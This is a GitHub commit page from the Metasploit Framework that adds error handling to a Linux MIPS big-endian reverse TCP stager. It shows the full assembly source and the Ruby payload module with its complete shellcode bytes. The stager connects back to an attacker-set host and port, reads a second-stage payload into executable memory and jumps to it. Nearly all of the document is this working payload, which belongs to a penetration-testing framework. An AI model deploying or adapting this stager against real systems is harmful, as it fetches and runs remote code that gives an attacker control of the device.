Skip to content

Commit 75c571d

Browse files
timwrtimwr
committed
Land rapid7#8653, add error handling to mipsbe linux reverse tcp stager
2 parents e3f9595 + cd0c2c2 commit 75c571d

File tree

2 files changed

+192
-116
lines changed

2 files changed

+192
-116
lines changed

‎external/source/shellcode/linux/mipsbe/stager_sock_reverse.s

Lines changed: 112 additions & 96 deletions
Original file line numberDiff line numberDiff line change
@@ -1,11 +1,11 @@
11
##
2-
#
2+
#
33
# Name: stager_sock_reverse
44
# Type: Stager
55
# Qualities: No Nulls out of the IP / Port data
66
# Platforms: Linux MIPS Big Endian
7-
# Authors: juan vazquez <juan.vazquez [at] metasploit.com>
8-
# License:
7+
# Authors: juan vazquez <juan.vazquez [at] metasploit.com>, tkmru
8+
# License:
99
#
1010
# This file is part of the Metasploit Exploit Framework
1111
# and is subject to the same licenses and copyrights as
@@ -27,101 +27,117 @@
2727
# generate the string to place on:
2828
# modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb
2929
##
30-
.text
31-
.align 2
32-
.globl main
33-
.set nomips16
30+
.text
31+
.align 2
32+
.globl main
33+
.set nomips16
3434
main:
35-
.set noreorder
36-
.set nomacro
35+
.set noreorder
36+
.set nomacro
37+
# socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
38+
# a0: domain = PF_INET (2)
39+
# a1: type = SOCK_STREAM (2)
40+
# a2: protocol = IPPROTO_IP (0)
41+
# v0: syscall = __NR_socket (4183)
42+
li $t7, -6
43+
nor $t7, $t7, $zero
44+
addi $a0, $t7, -3
45+
addi $a1, $t7, -3
46+
slti $a2, $zero, -1
47+
li $v0, 4183
48+
syscall 0x40404
49+
slt $s0, $zero, $a3
50+
bne $s0, $zero, failed
51+
sw $v0, -4($sp) # store the file descriptor for the socket on the stack
52+
53+
# connect(sockfd, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("127.0.0.1")}, 16)
54+
# a0: sockfd
55+
# a1: addr = AF_INET (2)
56+
# a2: addrlen = 16
57+
# v0: syscall = __NR_connect (4170)
58+
lw $a0, -4($sp)
59+
li $t7, -3
60+
nor $t7, $t7, $zero
61+
sw $t7, -32($sp)
62+
lui $t6, 0x115c
63+
sw $t6, -28($sp)
64+
lui $t6, 0x7f00 # ip
65+
ori $t6, $t6, 0x0001 # ip
66+
sw $t6, -26($sp)
67+
addiu $a1, $sp, -30
68+
li $t4, -17
69+
nor $a2, $t4, $zero
70+
li $v0, 4170
71+
syscall 0x40404
72+
slt $s0, $zero, $a3
73+
bne $s0, $zero, failed
74+
75+
# mmap(0xffffffff, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
76+
# a0: addr = -1
77+
# a1: lenght = 4096
78+
# a2: prot = PROT_READ|PROT_WRITE|PROT_EXEC (7)
79+
# a3: flags = MAP_PRIVATE|MAP_ANONYMOUS (2050)
80+
# sp(16): fd = -1
81+
# sp(20): offset = 0
82+
# v0: syscall = __NR_mmap (4090)
83+
li $a0, -1
84+
li $a1, 4097
85+
addi $a1, $a1, -1
86+
li $t1, -8
87+
nor $t1, $t1, $0
88+
add $a2, $t1, $0
89+
li $a3, 2050
90+
li $t3, -22
91+
nor $t3, $t3, $zero
92+
add $t3, $sp, $t3
93+
sw $0, -1($t3) # Doesn't use $sp directly to avoid nulls
94+
sw $2, -5($t3) # Doesn't use $sp directly to avoid nulls
95+
li $v0, 4090
96+
syscall 0x40404
97+
slt $s0, $zero, $a3
98+
bne $s0, $zero, failed
99+
sw $v0, -8($sp) # Stores the mmap'ed address on the stack
37100

38-
# socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
39-
# a0: domain = PF_INET (2)
40-
# a1: type = SOCK_STREAM (2)
41-
# a2: protocol = IPPROTO_IP (0)
42-
# v0: syscall = __NR_socket (4183)
43-
li $t7, -6
44-
nor $t7, $t7, $zero
45-
addi $a0, $t7, -3
46-
addi $a1, $t7, -3
47-
slti $a2, $zero, -1
48-
li $v0, 4183
49-
syscall 0x40404
50-
sw $v0, -4($sp) # store the file descriptor for the socket on the stack
51-
52-
# connect(sockfd, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("192.168.172.1")}, 16)
53-
# a0: sockfd
54-
# a1: addr = AF_INET (2)
55-
# a2: addrlen = 16
56-
# v0: syscall = __NR_connect (4170)
57-
lw $a0, -4($sp)
58-
li $t7, -3
59-
nor $t7, $t7, $zero
60-
sw $t7, -32($sp)
61-
lui $t6, 0x115c
62-
sw $t6, -28($sp)
63-
lui $t6, 0x7f00 # ip
64-
ori $t6, $t6, 0x0001 # ip
65-
sw $t6, -26($sp)
66-
addiu $a1, $sp, -30
67-
li $t4, -17
68-
nor $a2, $t4, $zero
69-
li $v0, 4170
70-
syscall 0x40404
71-
72-
# mmap(0xffffffff, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
73-
# a0: addr = -1
74-
# a1: lenght = 4096
75-
# a2: prot = PROT_READ|PROT_WRITE|PROT_EXEC (7)
76-
# a3: flags = MAP_PRIVATE|MAP_ANONYMOUS (2050)
77-
# sp(16): fd = -1
78-
# sp(20): offset = 0
79-
# v0: syscall = __NR_mmap (4090)
80-
li $a0, -1
81-
li $a1, 4097
82-
addi $a1, $a1, -1
83-
li $t1, -8
84-
nor $t1, $t1, $0
85-
add $a2, $t1, $0
86-
li $a3, 2050
87-
li $t3, -22
88-
nor $t3, $t3, $zero
89-
add $t3, $sp, $t3
90-
sw $0, -1($t3) # Doesn't use $sp directly to avoid nulls
91-
sw $2, -5($t3) # Doesn't use $sp directly to avoid nulls
92-
li $v0, 4090
93-
syscall 0x40404
94-
sw $v0, -8($sp) # Stores the mmap'ed address on the stack
101+
# read(sockfd, addr, 4096)
102+
# a0: sockfd
103+
# a1: addr
104+
# a2: len = 4096
105+
# v0: syscall = __NR_read (4003)
106+
lw $a0, -4($sp)
107+
lw $a1, -8($sp)
108+
li $a2, 4097
109+
addi $a2, $a2, -1
110+
li $v0, 4003
111+
syscall 0x40404
112+
slt $s0, $zero, $a3
113+
bne $s0, $zero, failed
95114

96-
# read(sockfd, addr, 4096)
97-
# a0: sockfd
98-
# a1: addr
99-
# a2: len = 4096
100-
# v0: syscall = __NR_read (4003)
101-
lw $a0, -4($sp)
102-
lw $a1, -8($sp)
103-
li $a2, 4097
104-
addi $a2, $a2, -1
105-
li $v0, 4003
106-
syscall 0x40404
115+
# cacheflush(addr, nbytes, DCACHE)
116+
# a0: addr
117+
# a1: nbytes
118+
# a2: cache = DCACHE (2)
119+
# v0: syscall = __NR_read (4147)
120+
lw $a0, -8($sp)
121+
add $a1, $v0, $zero
122+
li $t1, -3
123+
nor $t1, $t1, $0
124+
add $a2, $t1, $0
125+
li $v0, 4147
126+
syscall 0x40404
127+
slt $s0, $zero, $a3
128+
bne $s0, $zero, failed
129+
# jmp to the stage
130+
lw $s1, -8($sp)
131+
lw $s2, -4($sp)
132+
jalr $s1
107133

108-
# cacheflush(addr, nbytes, DCACHE)
109-
# a0: addr
110-
# a1: nbytes
111-
# a2: cache = DCACHE (2)
112-
# v0: syscall = __NR_read (4147)
113-
lw $a0, -8($sp)
114-
add $a1, $v0, $zero
115-
li $t1, -3
116-
nor $t1, $t1, $0
117-
add $a2, $t1, $0
118-
li $v0, 4147
119-
syscall 0x40404
120-
121-
# jmp to the stage
122-
lw $s1, -8($sp)
123-
lw $s2, -4($sp)
124-
jalr $s1
134+
failed:
135+
# exit(status)
136+
# a0: status
137+
# v0: syscall = __NR_exit (4001)
138+
li $a0, 1
139+
li $v0, 4001
140+
syscall 0x40404
125141

126-
.set macro
127-
.set reorder
142+
.set macro
143+
.set reorder

‎modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb

Lines changed: 80 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,7 @@
99

1010
module MetasploitModule
1111

12-
CachedSize = 212
12+
CachedSize = 272
1313

1414
include Msf::Payload::Stager
1515
include Msf::Payload::Linux
@@ -20,7 +20,8 @@ def initialize(info = {})
2020
'Description' => 'Connect back to the attacker',
2121
'Author' =>
2222
[
23-
'juan vazquez'
23+
'juan vazquez',
24+
'tkmru'
2425
],
2526
'License' => MSF_LICENSE,
2627
'Platform' => 'linux',
@@ -30,26 +31,85 @@ def initialize(info = {})
3031
{
3132
'Offsets' =>
3233
{
33-
'LHOST' => [ [58, 62], 'ADDR16MSB' ],
34-
'LPORT' => [ 50, 'n' ],
34+
'LHOST' => [ [66, 70], 'ADDR16MSB' ],
35+
'LPORT' => [ 58, 'n' ],
3536
},
3637
'Payload' =>
37-
"\x24\x0f\xff\xfa\x01\xe0\x78\x27\x21\xe4\xff\xfd\x21\xe5" +
38-
"\xff\xfd\x28\x06\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c" +
39-
"\xaf\xa2\xff\xfc\x8f\xa4\xff\xfc\x24\x0f\xff\xfd\x01\xe0" +
40-
"\x78\x27\xaf\xaf\xff\xe0\x3c\x0e\x11\x5c\xaf\xae\xff\xe4" +
41-
"\x3c\x0e\x7f\x00\x35\xce\x00\x01\xaf\xae\xff\xe6\x27\xa5" +
42-
"\xff\xe2\x24\x0c\xff\xef\x01\x80\x30\x27\x24\x02\x10\x4a" +
43-
"\x01\x01\x01\x0c\x24\x04\xff\xff\x24\x05\x10\x01\x20\xa5" +
44-
"\xff\xff\x24\x09\xff\xf8\x01\x20\x48\x27\x01\x20\x30\x20" +
45-
"\x24\x07\x08\x02\x24\x0b\xff\xea\x01\x60\x58\x27\x03\xab" +
46-
"\x58\x20\xad\x60\xff\xff\xad\x62\xff\xfb\x24\x02\x0f\xfa" +
47-
"\x01\x01\x01\x0c\xaf\xa2\xff\xf8\x8f\xa4\xff\xfc\x8f\xa5" +
48-
"\xff\xf8\x24\x06\x10\x01\x20\xc6\xff\xff\x24\x02\x0f\xa3" +
49-
"\x01\x01\x01\x0c\x8f\xa4\xff\xf8\x00\x40\x28\x20\x24\x09" +
50-
"\xff\xfd\x01\x20\x48\x27\x01\x20\x30\x20\x24\x02\x10\x33" +
51-
"\x01\x01\x01\x0c\x8f\xb1\xff\xf8\x8f\xb2\xff\xfc\x02\x20" +
52-
"\xf8\x09"
38+
"\x24\x0f\xff\xfa" + # li t7,-6
39+
"\x01\xe0\x78\x27" + # nor t7,t7,zero
40+
"\x21\xe4\xff\xfd" + # addi a0,t7,-3
41+
"\x21\xe5\xff\xfd" + # addi a1,t7,-3
42+
"\x28\x06\xff\xff" + # slti a2,zero,-1
43+
"\x24\x02\x10\x57" + # li v0,4183
44+
# socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
45+
"\x01\x01\x01\x0c" + # syscall 0x40404
46+
"\x00\x07\x80\x2a" + # slt s0,zero,a3
47+
"\x16\x00\x00\x36" + # bnez s0,0x4006bc <failed>
48+
"\xaf\xa2\xff\xfc" + # sw v0,-4(sp)
49+
"\x8f\xa4\xff\xfc" + # lw a0,-4(sp)
50+
"\x24\x0f\xff\xfd" + # li t7,-3
51+
"\x01\xe0\x78\x27" + # nor t7,t7,zero
52+
"\xaf\xaf\xff\xe0" + # sw t7,-32(sp)
53+
"\x3c\x0e\x11\x5c" + # lui t6,0x115c
54+
"\xaf\xae\xff\xe4" + # sw t6,-28(sp)
55+
"\x3c\x0e\x7f\x00" + # lui t6,0x7f00
56+
"\x35\xce\x00\x01" + # ori t6,t6,0x1
57+
"\xaf\xae\xff\xe6" + # sw t6,-26(sp)
58+
"\x27\xa5\xff\xe2" + # addiu a1,sp,-30
59+
"\x24\x0c\xff\xef" + # li t4,-17
60+
"\x01\x80\x30\x27" + # nor a2,t4,zero
61+
"\x24\x02\x10\x4a" + # li v0,4170
62+
# connect(sockfd, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("127.0.0.1")}, 16)
63+
"\x01\x01\x01\x0c" + # syscall 0x40404
64+
"\x00\x07\x80\x2a" + # slt s0,zero,a3
65+
"\x16\x00\x00\x25" + # bnez s0,0x4006bc <failed>
66+
"\x24\x04\xff\xff" + # li a0,-1
67+
"\x24\x05\x10\x01" + # li a1,4097
68+
"\x20\xa5\xff\xff" + # addi a1,a1,-1
69+
"\x24\x09\xff\xf8" + # li t1,-8
70+
"\x01\x20\x48\x27" + # nor t1,t1,zero
71+
"\x01\x20\x30\x20" + # add a2,t1,zero
72+
"\x24\x07\x08\x02" + # li a3,2050
73+
"\x24\x0b\xff\xea" + # li t3,-22
74+
"\x01\x60\x58\x27" + # nor t3,t3,zero
75+
"\x03\xab\x58\x20" + # add t3,sp,t3
76+
"\xad\x60\xff\xff" + # sw zero,-1(t3)
77+
"\xad\x62\xff\xfb" + # sw v0,-5(t3)
78+
"\x24\x02\x0f\xfa" + # li v0,4090
79+
# mmap(0xffffffff, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
80+
"\x01\x01\x01\x0c" + # syscall 0x40404
81+
"\x00\x07\x80\x2a" + # slt s0,zero,a3
82+
"\x16\x00\x00\x15" + # bnez s0,0x4006bc <failed>
83+
"\xaf\xa2\xff\xf8" + # sw v0,-8(sp)
84+
"\x8f\xa4\xff\xfc" + # lw a0,-4(sp)
85+
"\x8f\xa5\xff\xf8" + # lw a1,-8(sp)
86+
"\x24\x06\x10\x01" + # li a2,4097
87+
"\x20\xc6\xff\xff" + # addi a2,a2,-1
88+
"\x24\x02\x0f\xa3" + # li v0,4003
89+
# read(sockfd, addr, 4096)
90+
"\x01\x01\x01\x0c" + # syscall 0x40404
91+
"\x00\x07\x80\x2a" + # slt s0,zero,a3
92+
"\x16\x00\x00\x0c" + # bnez s0,0x4006bc <failed>
93+
"\x8f\xa4\xff\xf8" + # lw a0,-8(sp)
94+
"\x00\x40\x28\x20" + # add a1,v0,zero
95+
"\x24\x09\xff\xfd" + # li t1,-3
96+
"\x01\x20\x48\x27" + # nor t1,t1,zero
97+
"\x01\x20\x30\x20" + # add a2,t1,zero
98+
"\x24\x02\x10\x33" + # li v0,4147
99+
# cacheflush(addr, nbytes, DCACHE)
100+
"\x01\x01\x01\x0c" + # syscall 0x40404
101+
"\x00\x07\x80\x2a" + # slt s0,zero,a3
102+
"\x16\x00\x00\x03" + # bnez s0,0x4006bc <failed>
103+
"\x8f\xb1\xff\xf8" + # lw s1,-8(sp)
104+
"\x8f\xb2\xff\xfc" + # lw s2,-4(sp)
105+
"\x02\x20\xf8\x09" + # jalr s1
106+
# 4006bc <failed>:
107+
"\x24\x04\x00\x01" + # li a0,1
108+
"\x24\x02\x0f\xa1" + # li v0,4001
109+
# exit(status)
110+
"\x01\x01\x01\x0c" + # syscall 0x40404
111+
"\x00\x20\x08\x25" + # move at,at
112+
"\x00\x20\x08\x25" # move at,at
53113
}
54114
))
55115
end

0 commit comments

Comments
 (0)